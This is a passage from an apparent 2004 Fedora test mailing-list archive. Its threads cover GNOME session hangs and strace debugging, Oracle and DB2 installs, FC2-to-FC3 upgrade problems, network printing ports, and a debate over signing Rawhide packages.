> Are the images the exact same names as the ones your downloading? You also might want to post your rsync command, in case there is something wrong with it. -- Mike Chambers Madisonville, KY "It's always better to hurt a little now, than to hurt a lot later!" From bednar007 at gmail.com Mon Nov 1 08:28:00 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Mon, 1 Nov 2004 09:28:00 +0100 Subject: Gnome can not start Message-ID: <38f00b2a041101002870572998@mail.gmail.com> Hi, there are MANY ways to reach point where gnome does not load ofter logging in gdm. This problem is of the HIGHEST SEVERITY, as it dissallow any gnome using. The problem was signalized by me in few times bugzilla.redhat.com, but it seems all those bugs remain as NEW ?!?! (bug numbers 134169, 134212, 136081, 137778, 124078) I found some (brutal force) methods to deal with problem. One of them is removing ~/.gnome2/session (editing this file deos not help). Another method is removing whole ~/.gnome2 directory. Where are gnome-session developers. Is this so hard to add some time of software watchdog waiting for loaded gnome. If the gnome deos not load then restart gnome session with default parameters. Now the user have to remove some config files by hand. Many of users does not even know where are these files. Darek Borkowski From bednar007 at gmail.com Mon Nov 1 09:25:24 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Mon, 1 Nov 2004 10:25:24 +0100 Subject: Gnome can not start continued Message-ID: <38f00b2a041101012510ce986c@mail.gmail.com> I would like to add that same problem were present in Gnome 2.4, 2.6 and 2.8 and even better (RedHatLinux 9, FC1, FC2 and now FC3). I have seen problem on 4 different computers (Pentium 2 with 192 MB RAM and S3 Trio gfx, P4HT 2.4GHz with 1 GB ram, ASUS P4P800 Deluxe, ATI 9100 with standard xorg driver, P4 2.1 GHz, Gigabyte 8I-EXP with 512 MB ram and ATI 9000 PRO with ATI binary driver, Toshiba Satellite 1135-S1554 with PentiumM 2.2 GHz, 512 MB ram and Intel 85x gfx). With such basic lack of functionality I wonder if I will still use Gnome (besides I really like Gnome). I have never seen not starting KDE for example. Darek Borkowski From markmc at redhat.com Mon Nov 1 10:54:13 2004 From: markmc at redhat.com (Mark McLoughlin) Date: Mon, 01 Nov 2004 10:54:13 +0000 Subject: Gnome can not start In-Reply-To: <38f00b2a041101002870572998@mail.gmail.com> References: <38f00b2a041101002870572998@mail.gmail.com> Message-ID: <1099306452.9046.16.camel@blaa> Hi Darek, On Mon, 2004-11-01 at 08:28, Darek Borkowski wrote: > Hi, > > there are MANY ways to reach point where gnome does not load ofter > logging in gdm. This problem is of the HIGHEST SEVERITY, as it > dissallow any gnome using. The problem was signalized by me in few > times bugzilla.redhat.com, but it seems all those bugs remain as NEW > ?!?! > (bug numbers 134169, 134212, 136081, 137778 Each of these bugs seem to be a manifestation of more or less the same problem - you save your session and gnome-session hangs on login. Some advice on how to proceed: 1) By the looks of the bugs, things seem to be getting more and more buggy as time progresses. Have you been upgrading from FC1 to FC2 to FC3 etc.? If not, please try a clean install - things can get screwed up when you just keep upgrading like this. 2) The contents of your ~/.gnome2/session and an strace/backtrace of would be very helpful to us in figuring out what is causing these bugs. To get an strace, you can log in to a failsafe session and run "strace -ttt gnome-session". To get a backtrace of gnome-session once it has hung see: http://fedora.linux.duke.edu/wiki/index.cgi/StackTraces#bugbuddygdb Thanks, Mark. From harald at redhat.com Mon Nov 1 11:24:34 2004 From: harald at redhat.com (Harald Hoyer) Date: Mon, 01 Nov 2004 12:24:34 +0100 Subject: Issue in glibc in FC3T3 ? In-Reply-To: <1099062592.3958.5.camel@kyrre> References: <1098974141.5158.3.camel@localhost.localdomain> <20041028145807.GN8596@redhat.com> <1098976902.8067.6.camel@localhost.localdomain> <1098977676.8993.6.camel@localhost.localdomain> <1098978388.8737.13.camel@localhost.localdomain> <1098978964.8737.18.camel@localhost.localdomain> <1099062592.3958.5.camel@kyrre> Message-ID: <41861CF2.5040205@redhat.com> Kyrre Ness Sjobak wrote: > Another ?berannoying cronjob, is the updatedb one. whytheh*** does > anacron have to run it?!? It also takes about 5 minutes, and it is > almost impossible to lauch programs in a resonable time when it is > running... > If you do not need "locate", you may disable this... From maillijsten at gmail.com Mon Nov 1 11:44:37 2004 From: maillijsten at gmail.com (Mailing List) Date: Mon, 1 Nov 2004 12:44:37 +0100 Subject: Installing Oracle on FC3T3 Message-ID: <71ca273104110103447075cdac@mail.gmail.com> Hi, I am trying to install oracle (8i, 9i and 10i) on FC3T3. I am running into various problems with gcc versions and jdk versions.. Is there anybody who has successfully installed any oracle version on FC3T3? I got Oracle 9 and 10 working on FC1 before... Ruud From harald at redhat.com Mon Nov 1 11:46:39 2004 From: harald at redhat.com (Harald Hoyer) Date: Mon, 01 Nov 2004 12:46:39 +0100 Subject: Upgrade FC2 to FC3 with yum In-Reply-To: <1099022726.8397.30.camel@binkley> References: <1098972674.22192.2.camel@bigserver> <1099022726.8397.30.camel@binkley> Message-ID: <4186221F.5020303@redhat.com> seth vidal wrote: > The problems I've found so far: > > - dev->udev upgrade makes it impossible to open a new terminal I could fix this by mounting /dev/pts and /dev/shm in the udev trigger for dev. Too late for FC3-final? From alan at redhat.com Mon Nov 1 12:01:44 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 1 Nov 2004 07:01:44 -0500 Subject: Gnome can not start In-Reply-To: <38f00b2a041101002870572998@mail.gmail.com> References: <38f00b2a041101002870572998@mail.gmail.com> Message-ID: <20041101120144.GB30069@devserv.devel.redhat.com> On Mon, Nov 01, 2004 at 09:28:00AM +0100, Darek Borkowski wrote: > Where are gnome-session developers. Is this so hard to add some time > of software watchdog waiting for loaded gnome. If the gnome deos not > load then restart gnome session with default parameters. Now the user > have to remove some config files by hand. Many of users does not even > know where are these files. On the gnome development lists... From keith-e at speakeasy.net Mon Nov 1 12:45:38 2004 From: keith-e at speakeasy.net (Keith R. Evans) Date: Mon, 1 Nov 2004 07:45:38 -0500 Subject: Installing Oracle on FC3T3 References: <71ca273104110103447075cdac@mail.gmail.com> Message-ID: <022f01c4c010$b0a21b00$0a00a8c0@GENESIS> I have successfully installed Oracle 10G on FC3T3 and it runs very stable and quick. As far as problems, the only issue I really had was the need to install the Xorg deprecated libraries to address issues with how Oracle interfaces with X and motif. I do have to let you know that I basically run my own kernel that I have tailored specifically for running Oracle, and applied quite a few upgrades to the glibc libraries and gcc. So, you may have to do some tweaking, but it is much easier to get 10G up than 9i although I have run both on my server which is a very heavily tweaked Redhat 9 box running the 2.6 kernel. ----- Original Message ----- From: "Mailing List" To: Sent: Monday, November 01, 2004 6:44 AM Subject: Installing Oracle on FC3T3 > Hi, > > I am trying to install oracle (8i, 9i and 10i) on FC3T3. > I am running into various problems with gcc versions and jdk versions.. > > Is there anybody who has successfully installed any oracle version on > FC3T3? > I got Oracle 9 and 10 working on FC1 before... > > Ruud > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From gstool at earthlink.net Mon Nov 1 13:05:45 2004 From: gstool at earthlink.net (Gerry Tool) Date: Mon, 01 Nov 2004 07:05:45 -0600 Subject: RC5: What Happened To vncviewer? In-Reply-To: <4185A140.7030804@speakeasy.net> References: <4185A140.7030804@speakeasy.net> Message-ID: <418634A9.4010505@earthlink.net> Robert L Cochran wrote: > I thought the vnc and vnc-server packages are installed by default? I > was mystified earlier today when I couldn't find "vnc" in any of the > "Applications" dropdown categories for RC5. It looks like vnc-server > is installed by default, but not vnc which has the vncviewer > functionality. > > Bob Cochran > Greenbelt, Maryland > It is an unchecked choice to be made while selecting individual packages. It ends up in the Accessories menu. Gerry From skvidal at phy.duke.edu Mon Nov 1 13:22:27 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 01 Nov 2004 08:22:27 -0500 Subject: Upgrade FC2 to FC3 with yum In-Reply-To: <4186221F.5020303@redhat.com> References: <1098972674.22192.2.camel@bigserver> <1099022726.8397.30.camel@binkley> <4186221F.5020303@redhat.com> Message-ID: <1099315347.2442.58.camel@binkley> On Mon, 2004-11-01 at 12:46 +0100, Harald Hoyer wrote: > seth vidal wrote: > > The problems I've found so far: > > > > - dev->udev upgrade makes it impossible to open a new terminal > > I could fix this by mounting /dev/pts and /dev/shm in the udev trigger > for dev. Too late for FC3-final? probably too late. And I'm not terribly upset by making the final step in a yum upgrade from fc2 to fc3 to be "reboot". :) -sv From bednar007 at gmail.com Mon Nov 1 13:47:00 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Mon, 1 Nov 2004 14:47:00 +0100 Subject: Gnome can not start Message-ID: <38f00b2a04110105472a884995@mail.gmail.com> I try with failsafe session but cannot get output from strace in file because straced gnome-session commnads never ends. So i get empty output file. I tried strace -ttt gnome-session > out.txt and strace -ttt gnome-session -o out.txt but in each case out.txt has 0 bytes length after CTRL+C. Tried to find option for breaking tracing in man strace, but cannot find one. Darek Borkowski From camilo at mesias.co.uk Mon Nov 1 13:53:18 2004 From: camilo at mesias.co.uk (Cam) Date: Mon, 01 Nov 2004 13:53:18 +0000 Subject: Gnome can not start In-Reply-To: <38f00b2a04110105472a884995@mail.gmail.com> References: <38f00b2a04110105472a884995@mail.gmail.com> Message-ID: <41863FCE.9030401@mesias.co.uk> Darek > I tried > strace -ttt gnome-session > out.txt > and > strace -ttt gnome-session -o out.txt The -o should come before 'gnome-session' because it is an argument to strace, not an argument to gnome-session. There are some hints on the strace manpage. > but in each case out.txt has 0 bytes length after CTRL+C. > Tried to find option for breaking tracing in man strace, but cannot find one. Hope that helps, -Cam -- camilo at mesias.co.uk <-- From tdiehl at rogueind.com Mon Nov 1 13:56:32 2004 From: tdiehl at rogueind.com (Tom Diehl) Date: Mon, 1 Nov 2004 08:56:32 -0500 (EST) Subject: Upgrade FC2 to FC3 with yum In-Reply-To: <1099315347.2442.58.camel@binkley> References: <1098972674.22192.2.camel@bigserver> <1099022726.8397.30.camel@binkley> <4186221F.5020303@redhat.com> <1099315347.2442.58.camel@binkley> Message-ID: On Mon, 1 Nov 2004, seth vidal wrote: > On Mon, 2004-11-01 at 12:46 +0100, Harald Hoyer wrote: > > seth vidal wrote: > > > The problems I've found so far: > > > > > > - dev->udev upgrade makes it impossible to open a new terminal > > > > I could fix this by mounting /dev/pts and /dev/shm in the udev trigger > > for dev. Too late for FC3-final? > > probably too late. And I'm not terribly upset by making the final step > in a yum upgrade from fc2 to fc3 to be "reboot". :) As much as I hate windoze like behavior, you already need to reboot to upgrade the kernel. What difference does it make if there are other things going on? Tom From bednar007 at gmail.com Mon Nov 1 14:09:25 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Mon, 1 Nov 2004 15:09:25 +0100 Subject: Gnome can not start Message-ID: <38f00b2a04110106091f9d3760@mail.gmail.com> I forgot to add some info: gnome-session-2.6.0-4, FC2 was not clean install but upgrade form FC1, where I had same problem. FC1 was clean install. Darek Borskowski From gslink at one.net Mon Nov 1 14:28:46 2004 From: gslink at one.net (gslink) Date: Mon, 01 Nov 2004 09:28:46 -0500 Subject: Upgrading Message-ID: <4186481E.8000700@one.net> Our biggest problem with upgrading is that it is not always clear when a test distribution has been changed. This is especially true with things like release candidates. We tried FC3-RC2 and found that installing additional packages on the upgraded system caused a crash in anaconda. This appears to have been fixed but it is hard to tell from the numbering. I suggest that any posted directory contain a readme file that says something like "This is FC3-RC2.01". Increment the number after the decimal every time a package is upgraded or replaced. This will make it obvious what the level is. If an upgrade hasn't yet gotten posted to a mirror this will show it. From alor at taipang.com Mon Nov 1 14:34:46 2004 From: alor at taipang.com (Alor) Date: Mon, 1 Nov 2004 19:34:46 +0500 Subject: Installing Oracle on FC3T3 In-Reply-To: <71ca273104110103447075cdac@mail.gmail.com> References: <71ca273104110103447075cdac@mail.gmail.com> Message-ID: <200411011934.46376.alor@taipang.com> > Is there anybody who has successfully installed any oracle version on Oracle 10.1.0.3 is successfully installed on FC3. See http://www.oracle-base.com/articles/10g/OracleDB10gInstallationOnFedora2.php Alor From bednar007 at gmail.com Mon Nov 1 14:31:57 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Mon, 1 Nov 2004 15:31:57 +0100 Subject: Gnome can not start Message-ID: <38f00b2a041101063115345713@mail.gmail.com> http://bednar.prv.pl/debug I did the test with strace. The output of strace as good and bad ~/.gnome2/session files are accesible at: http://bednar.prv.pl/debug I hope this help in fixing problem. These results are effect of saving session state before logging out of gnome in FC2. After logging in I have only spalsh screen but session stops/stalls forever. I have to remove ~/.gnome2/session to fix this. Editing this file does not help. I have to have permamently turned off session state. I forgot to add some info: gnome-session-2.6.0-4, FC2 was not clean install but upgrade form FC1, where I had same problem. FC1 was clean install. Darek Borskowski From rpjday at mindspring.com Mon Nov 1 14:38:01 2004 From: rpjday at mindspring.com (Robert P. J. Day) Date: Mon, 1 Nov 2004 09:38:01 -0500 (EST) Subject: Installing Oracle on FC3T3 In-Reply-To: <200411011934.46376.alor@taipang.com> References: <71ca273104110103447075cdac@mail.gmail.com> <200411011934.46376.alor@taipang.com> Message-ID: On Mon, 1 Nov 2004, Alor wrote: > > Is there anybody who has successfully installed any oracle version on > Oracle 10.1.0.3 is successfully installed on FC3. > See > http://www.oracle-base.com/articles/10g/OracleDB10gInstallationOnFedora2.php just being pedantic, but that article talks about installing on FC2, something i just now finished doing, and everything went swimmingly. i haven't tried it on any version of FC3. is there any reason to think it wouldn't work there as well? has anyone tried it? rday From keith-e at speakeasy.net Mon Nov 1 15:05:08 2004 From: keith-e at speakeasy.net (Keith R. Evans) Date: Mon, 1 Nov 2004 10:05:08 -0500 Subject: Installing Oracle on FC3T3 References: <71ca273104110103447075cdac@mail.gmail.com><200411011934.46376.alor@taipang.com> Message-ID: <000d01c4c024$2d84f3a0$0a00a8c0@GENESIS> I sent a reply that I have installed it on FC3T3. Please read my response..... ----- Original Message ----- From: "Robert P. J. Day" To: "For testers of Fedora Core development releases" Sent: Monday, November 01, 2004 9:38 AM Subject: Re: Installing Oracle on FC3T3 > On Mon, 1 Nov 2004, Alor wrote: > >> > Is there anybody who has successfully installed any oracle version on >> Oracle 10.1.0.3 is successfully installed on FC3. >> See >> http://www.oracle-base.com/articles/10g/OracleDB10gInstallationOnFedora2.php > > just being pedantic, but that article talks about installing on FC2, > something i just now finished doing, and everything went swimmingly. > i haven't tried it on any version of FC3. is there any reason to > think it wouldn't work there as well? has anyone tried it? > > rday > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From gslink at one.net Mon Nov 1 15:07:48 2004 From: gslink at one.net (gslink) Date: Mon, 01 Nov 2004 10:07:48 -0500 Subject: Installing DB2 on FC Message-ID: <41865144.4050404@one.net> DB2 8.2 will install and run correctly on any FC if the following workarounds are used. If you are using 8.1 discs then install but do not start DB2. This means you can't use the tools database. Install any additional clients at the 8.1 level. Then immediatelly, without reboot, install FP7. If you are using 8.2 discs then install them. There are several lines that DB2 inserts in the db2inst1 .bashrc file. These lines run configuration on login. Normally the lines are copied to the user .bashrc file. A bug in either DB2 or FC keeps these lines from being executed. As a result you must create a script for each DB2 icon such as the control center and change the icon to run that script. The script simply runs the lines and then runs whatever is supposed to be started. With this workaround DB2 seems to run fine. We have not had time to find out if the bug is in FC or DB2 but this workaround fixes it. From kyrre at solution-forge.net Mon Nov 1 15:42:42 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 01 Nov 2004 16:42:42 +0100 Subject: 5 second cpu spike in FC3T3 In-Reply-To: <1099268086.3558.12.camel@guyleidadell> References: <1099184393.3693.50.camel@guyleidadell> <200410302035.33258.linxt@comcast.net> <1099194319.3693.78.camel@guyleidadell> <41846432.4040200@speakeasy.net> <1099195701.3693.80.camel@guyleidadell> <1099254808.4746.2.camel@kyrre> <1099252271.3558.1.camel@guyleidadell> <1099261509.3558.10.camel@guyleidadell> <1099268086.3558.12.camel@guyleidadell> Message-ID: <1099323762.2673.3.camel@kyrre> The first would have been something (the things in the gnome panel are called appletts), but gtik?!?!? I had a similar bug in FC1 once. It made my music "skip". Think i might have filed a bug on it as well... *looking...* https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=126183 it was in FC2, actually. Maybe there is a hint there on how to make it disapear... man, 01.11.2004 kl. 01.14 skrev W. Guy Thomas: > > > > > > > > > > > > > > > > Interesting. I changed it with "s", to .5 seconds. > > The two things that pop up every 5 seconds are gkrellm itself, and > > something vaguely named gtk2_applet2. > > > > So what is gtk2_applet2? > > If it's an applet couldn't it be a java-something? > > > > Hmm, curiouser and curiouser. > > > > -- > > =Guy > > 16:23:31 up 7:01, 2 users, load average: 1.01, 0.49, 0.88 > > > > let me revise that, sorry, it's gtik2_applet2 > > -- > =Guy > 18:14:14 up 8:52, 2 users, load average: 0.40, 0.27, 0.26 From notting at redhat.com Mon Nov 1 15:58:15 2004 From: notting at redhat.com (Bill Nottingham) Date: Mon, 1 Nov 2004 10:58:15 -0500 Subject: Upgrade FC2 to FC3 with yum In-Reply-To: <4186221F.5020303@redhat.com> References: <1098972674.22192.2.camel@bigserver> <1099022726.8397.30.camel@binkley> <4186221F.5020303@redhat.com> Message-ID: <20041101155815.GA31091@nostromo.devel.redhat.com> Harald Hoyer (harald at redhat.com) said: > seth vidal wrote: > >The problems I've found so far: > > > >- dev->udev upgrade makes it impossible to open a new terminal > > I could fix this by mounting /dev/pts and /dev/shm in the udev trigger > for dev. Too late for FC3-final? Hm, it *could* be useful. We probably would want to relnote it in any case. Bill From kyrre at solution-forge.net Mon Nov 1 16:00:51 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 01 Nov 2004 17:00:51 +0100 Subject: FC3 RC3 - Networked LPD server printing still not working. In-Reply-To: <4183D3E9.1090805@earthlink.net> References: <4182DEF4.3060700@earthlink.net> <200410301128.56779.jeffy5@optonline.net> <4183D3E9.1090805@earthlink.net> Message-ID: <1099324850.2673.11.camel@kyrre> personally, telling system-config-securitylevel to open 631:udp made it possible for me to use printer service discovery... Why isn't this listed in the "list" of ports in s-c-s? l?r, 30.10.2004 kl. 19.48 skrev Gerry Tool: > Jeffrey D. Yuille wrote: > > On Friday 29 October 2004 08:23 pm, Gerry Tool wrote: > > > >>I have just done a fresh install of FC3, Release Candidate 3. Printing > >>to a networked LPD server still will not work. This is a bug (#133064) > >>that is assigned to the kernel. Telnet to the print server fails, but > >>ping succeeds. FC2 telnets fine to the print server. > >> > >>Gerry Tool > > > > For the Record, > > > > I have also installed Fedora Core 3 and I am also having problems with > > network printing, the only difference that I am having is with connecting to > > a remote CUPS server on my local network. This seems to be a problem also > > when I had Fedora Core 2 installed as well. Ironically, when I had a > > different distribution of Linux on my server, the other computers could "see" > > the print server without having to set up printing through the KDE print > > manager. This bug needs to be worked out before the official release. > > > > > > Jeff D. Yuille > > > It might be useful for you to add your comments to bugzilla #133064. > That bug report has been reassigned to the kernel, and even though it is > for remote LPD servers, the problem with remote CUPS servers may be from > the same root cause. > > Gerry From kyrre at solution-forge.net Mon Nov 1 16:03:58 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 01 Nov 2004 17:03:58 +0100 Subject: Yum and up2date repositories for FC3rc3 ? In-Reply-To: <4183B297.8060507@speakeasy.net> References: <1099071490.26566.34.camel@localhost.localdomain> <1099073949.4019.204.camel@gibraltar.stuttgart.redhat.com> <1099074352.27233.9.camel@localhost.localdomain> <1099076398.3958.208.camel@kyrre> <1099076784.27233.18.camel@localhost.localdomain> <1099077383.3958.231.camel@kyrre> <1099147986.14041.1.camel@salamander.thesizemores.net> <4183B297.8060507@speakeasy.net> Message-ID: <1099325038.2673.14.camel@kyrre> What? Me? :p No sun here...damn its dark in the winter. Just hoped that somebody would read it, get scared, and remember it so they didn't top post. That was my plan. Yeah. i might have been a little bit hars. l?r, 30.10.2004 kl. 17.26 skrev Robert L Cochran: > Trey Sizemore wrote: > > >On Fri, 2004-10-29 at 21:16 +0200, Kyrre Ness Sjobak wrote: > > > > > >>fre, 29.10.2004 kl. 21.06 skrev Kim Lux: > >> > >> > >>>Are there special repositories for rc3 or do we use the rawhide > >>>repositories ? > >>> > >>>How many people are testing rc3 ? > >>> > >>> > >>DONT TOP POST!!! PLEASE create a new thread (hit "new", not reply). This > >>is *really* annoying for people who use threaded mail viewers (such as > >>Evolution (control+T), the archive or about every mailer around...) - > >>they like to see things like the main post, and then the replies like > >>branches from this post. When you top post, your post look like one of > >>those branches. > >> > >>This also has a negative effect to you, because if you dont care about > >>bugzilla, frankly you dont care if somebody replies that it broken. You > >>just check read, read, read... until they not longer are glowing bold > >>anymore. > >> > >>Get it? > >> > >>DONT TOP POST!!! > >> > >> > > > >Dude- > > > >A piece of advice...get outside in the sun for a little bit. > > > >I don't like thread hijacking and top posting much either, but GEEEZZ! > > > >Breathe in...breath out...repeat. > > > > > > > Yes, do get outside for some sun. Try to cool off. > > Bob From kyrre at solution-forge.net Mon Nov 1 16:17:35 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 01 Nov 2004 17:17:35 +0100 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> Message-ID: <1099325855.2673.25.camel@kyrre> man, 01.11.2004 kl. 07.42 skrev Satish Balay: > On Mon, 1 Nov 2004, Rodolfo J. Paiz wrote: > > > > > And now that we've got the synaptics code team happy, can I bug y'all to > > PLEASE remove the dependency whereby rhpl requires synaptics? > > > > Since up2date and yum and some other very useful stuff require synaptics > > in RC5, and since synaptics requires an xorg-x11 package which in turn > > requires some other stuff, I've got 40MB of cruft on a minimal install > > (including cups... what the heck does cups have to do with this?) that I > > cannot remove nicely thanks to synaptics. > > yum doesn't depend on synaptics. (so removing up2date should be ok) > > And I don't see the cups depending on synaptics... > > Satish > > ------- > # yum remove synaptics > > > Dependencies Resolved > Transaction Listing: > Remove: synaptics.i386 0:0.13.5-5 > > Performing the following to resolve dependencies: > Remove: authconfig-gtk.i386 0:4.6.5-3.1 interesting. Ah! fingerprint scanning! > Remove: desktop-printing.i386 0:0.17-3 To print the fingerprints. > Remove: firstboot.noarch 0:1.3.33-1 Just to make sure that you read in the fingerprint at first boot > Remove: hal-cups-utils.i386 0:0.5.2-8 HAL is out to get you! It will kill you by jumping the printer at you! Don't you dare remove those memory modules... > Remove: rhn-applet.i386 0:2.1.16-1 just in case HAL don't get you. > Remove: rhpl.i386 0:0.148-1 In case rhn dont get you, they send a snake at you... > Remove: system-config-date.noarch 0:1.7.11-1 you know, those fingerprint need to be date stamped? > Remove: system-config-display.noarch 0:1.0.23-1 Sure. Display the fingerprints! > Remove: system-config-keyboard.noarch 0:1.2.5-1 For typomatic rate recognition. Besides you can make the keyboard bite unwanted visitors > Remove: system-config-language.noarch 0:1.1.8-1 Or just display them some language they don't understand. Will probably make it a bit more secure. > Remove: system-config-mouse.noarch 0:1.2.9-1 Since you can't configure the touchpad from there. > Remove: system-config-network.noarch 0:1.3.22-1 Shure! Got to send the fingerprints to another place! > Remove: system-config-network-tui.noarch 0:1.3.22-1 Have to be able to do it in text mode as well! > Remove: system-config-packages.noarch 0:1.2.20-1 Or by snail mail. Just package it up. > Remove: system-config-printer.i386 0:0.6.116-1 But to package it up you need the printer! > Remove: system-config-printer-gui.i386 0:0.6.116-1 Even in full life, color, and with stero! > Remove: system-config-rootpassword.noarch 0:1.1.6-1 You surely CAN use to protect any bad folks from stealing your root... > Remove: system-config-securitylevel.i386 0:1.4.14-1 Security! What is this all about! > Remove: system-config-services.noarch 0:0.8.15-1 Have to turn it on somewhere. > Remove: system-config-soundcard.noarch 0:1.2.10-1 And there is the stereo of the printconf-gui thing! > Remove: up2date.i386 0:4.3.47-5 So you can download new updated fingerprints of who not to let into your compuer... > Remove: up2date-gnome.i386 0:4.3.47-5 And have a little gnome to bite their toes... Sorry if i wasted your time. I just had to... From awd at DDG.com Mon Nov 1 16:21:36 2004 From: awd at DDG.com (Andrew W. Donoho) Date: Mon, 1 Nov 2004 10:21:36 -0600 Subject: FC3rc5 In-Reply-To: References: <873276BD-2AF8-11D9-B0E7-000A9566A350@DDG.com> Message-ID: <1A27EB69-2C22-11D9-A4C0-000A9566A350@DDG.com> On Oct 31, 2004, at 11:17, Andrew W. Donoho wrote: > On Oct 30, 2004, at 23:51, Andrew W. Donoho wrote: >> I tried to upgrade an FC2 SMP i686 system on an LVM managed disk. >> The system did not update grub properly. When I hand edited grub, the >> system then panicked. I'll report more later after I've had time to >> dig in deeper. > > > Folks, > > I tried re-updating the system. I got the same error: > > After NASH loads: > > mount: error 6 mounting ext3 > mount: error 2 mounting none > switchroot: mount failed: 22 > umount /initrd/dev failed 2 > Kernel panic - not syncing: Attempted to kill init! > > I'll keep the system this way for awhile waiting for someone's > response to these messages. Otherwise I'll scrub the drive and restart > from scratch. Bear in mind that this system was running fine under > FC2. Folks, Does anybody want to know what went wrong upgrading my system from FC2 -> FC3rc5? I don't know where to start sleuthing to tell you what went wrong. The system boots fine with the FC3rc5 Rescue disk. Therefore, I can go traipsing through the file system. So a response from someone, perhaps FC3rc5 test requester, Mr. Lee, would be appreciated. Or was this community testing request hoo-ha just a waste of all of our time? Andrew ____________________________________ Andrew W. Donoho awd at DDG.com, PGP Key ID: 0x81D0F250 +1 (512) 453-6652 (o), +1 (512) 750-7596 (m) -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 172 bytes Desc: not available URL: From sopwith at redhat.com Mon Nov 1 16:41:40 2004 From: sopwith at redhat.com (Elliot Lee) Date: Mon, 1 Nov 2004 11:41:40 -0500 (EST) Subject: FC3rc5 In-Reply-To: <1A27EB69-2C22-11D9-A4C0-000A9566A350@DDG.com> References: <873276BD-2AF8-11D9-B0E7-000A9566A350@DDG.com> <1A27EB69-2C22-11D9-A4C0-000A9566A350@DDG.com> Message-ID: On Mon, 1 Nov 2004, Andrew W. Donoho wrote: > On Oct 31, 2004, at 11:17, Andrew W. Donoho wrote: > > On Oct 30, 2004, at 23:51, Andrew W. Donoho wrote: > >> I tried to upgrade an FC2 SMP i686 system on an LVM managed disk. > >> The system did not update grub properly. When I hand edited grub, the > >> system then panicked. I'll report more later after I've had time to > >> dig in deeper. > > > > > > Folks, > > > > I tried re-updating the system. I got the same error: > > > > After NASH loads: > > > > mount: error 6 mounting ext3 > > mount: error 2 mounting none > > switchroot: mount failed: 22 > > umount /initrd/dev failed 2 > > Kernel panic - not syncing: Attempted to kill init! > > I'll keep the system this way for awhile waiting for someone's > > response to these messages. Otherwise I'll scrub the drive and restart > > from scratch. Bear in mind that this system was running fine under > > FC2. > > Folks, > > Does anybody want to know what went wrong upgrading my system from FC2 > -> FC3rc5? I don't know where to start sleuthing to tell you what went > wrong. The system boots fine with the FC3rc5 Rescue disk. Therefore, I > can go traipsing through the file system. So a response from someone, > perhaps FC3rc5 test requester, Mr. Lee, would be appreciated. Or was > this community testing request hoo-ha just a waste of all of our time? We'd need more information on the problem, and some sort of diagnosis, before a fix would be possible. We also need a report in bugzilla with these details. If it's not in bugzilla, it's not a bug, :) -- Elliot From pjones at redhat.com Mon Nov 1 16:47:34 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 01 Nov 2004 11:47:34 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099073754.4019.199.camel@gibraltar.stuttgart.redhat.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1098985082.3555.8.camel@localhost.localdomain> <604aa7910410281201afdeef7@mail.gmail.com> <1098994497.3555.87.camel@localhost.localdomain> <1098998238.3373.18.camel@rodolfo.gt.factorrent.com> <1098999606.3555.108.camel@localhost.localdomain> <1099007042.3392.23.camel@localhost.localdomain> <1099062694.4019.128.camel@gibraltar.stuttgart.redhat.com> <1099069580.3385.10.camel@rodolfo.gt.factorrent.com> <1099071451.4019.169.camel@gibraltar.stuttgart.redhat.com> <1099073178.3424.5.camel@tuxpaq> <1099073754.4019.199.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1099327655.25045.50.camel@localhost.localdomain> On Fri, 2004-10-29 at 20:15 +0200, Nils Philippsen wrote: > On Fri, 2004-10-29 at 14:06 -0400, Paul Iadonisi wrote: > > On Fri, 2004-10-29 at 19:37 +0200, Nils Philippsen wrote: > > > On Fri, 2004-10-29 at 11:06 -0600, Rodolfo J. Paiz wrote: > > > > [snip] > > > > > > I see no downside. Since you do, can you provide more detail on what and > > > > why? > > > > > > I see no downside in repo metadata signing either, it's a good thing > > > actually. But it is not an argument on why packages shouldn't be signed > > > individually. > > > > Um...did I miss something? I didn't see anyone suggest *replacing* > > package signing with repo metadata signing. It's just an added measure > > to help ensure that what is on the mirrors is what is on the official > > Red Hat repo. Granted, you still need yum or up2date to use that > > information, but it's still a net gain. In particular for when some > > packages don't get signed, which seems to be what this thread is about > > (today, anyhow ;-)). > > At least, I sure *hope* no one was suggesting foregoing package > > signing. Cuz that would be bad. :-) > > Umm yeah. Some people were proposing that Rawhide packages should not be > signed at all. I myself think this is a bad idea and that all packages, > regardless of their quality, should be signed. Hey even more so with bad > packages I want to know who's responsible ;-). No, nobody is "proposing that Rawhide packages shouldn't be signed at all". That's pure spin. They are not currently signed, and I'm arguing against the proposal that they *should* be. I'm not arguing against the idea that it should be possible to strongly verify the source of the packages. I am arguing against the desire to use the same mechanism as we use for saying that we think a package is safe, either from innocent corruption or intentional tampering at any part of the packaging process. A signature on a package announces a degree of trust that somebody has on the payload of that package, and that the headers belong with that payload. That's not what is being asked for when people ask for rawhide packages to be signed. What is being requested is a method to verify that the package is truly from a known source. That, and that alone, is what is request at hand. While our current signing method does guarantee the source of the package, 